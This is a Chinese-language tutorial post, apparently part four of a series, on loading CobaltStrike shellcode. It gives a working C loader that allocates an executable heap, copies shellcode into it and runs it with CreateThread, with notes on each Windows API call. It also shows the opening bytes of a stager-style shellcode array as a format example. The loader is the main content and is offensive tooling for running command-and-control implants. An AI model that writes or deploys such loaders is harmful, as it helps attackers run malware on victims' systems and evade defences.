深度解析CobaltStrike Shellcode加载技巧(第四部分)

代码部分:

include

// 定义 shellcode(恶意代码)
unsigned char shellcode[] = “”;

// 主函数
void main() {
// 创建一个具有执行权限的堆,以存储shellcode
HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(shellcode), 0);

// 在创建的堆中分配一块内存,并将其地址赋给buffer
char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(shellcode));

// 将shellcode复制到buffer指向的内存中
memcpy(buffer, shellcode, sizeof(shellcode));

// 创建一个新线程并执行buffer指向的内存中的shellcode
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL);

// 等待新线程执行完毕
WaitForSingleObject(hThread, INFINITE);

}

解析:

  1. HeapCreate: 在Windows操作系统中创建一个可执行代码的堆对象。该函数保留进程的虚拟地址空间,为堆对象分配指定大小的内存空间。https://learn.microsoft.com/zh-cn/windows/win32/api/heapapi/nf-heapapi-heapcreate
  2. HeapAlloc: 从堆中分配一块内存。分配的内存不可移动,用于存储恶意代码。https://learn.microsoft.com/zh-cn/windows/win32/api/heapapi/nf-heapapi-heapalloc
  3. CreateThread: 创建一个新线程,并在进程的虚拟地址空间内执行指定的函数。https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread
  4. WaitForSingleObject: 等待一个对象进入信号状态,或等待指定的时间间隔已过。https://learn.microsoft.com/zh-cn/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject

注意事项:

  1. 开发环境: 适用于任何开发环境。
  2. Shellcode格式:
  3. unsigned char shellcode[] =
  4. “\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b”
  5. “\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0”;
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THE END
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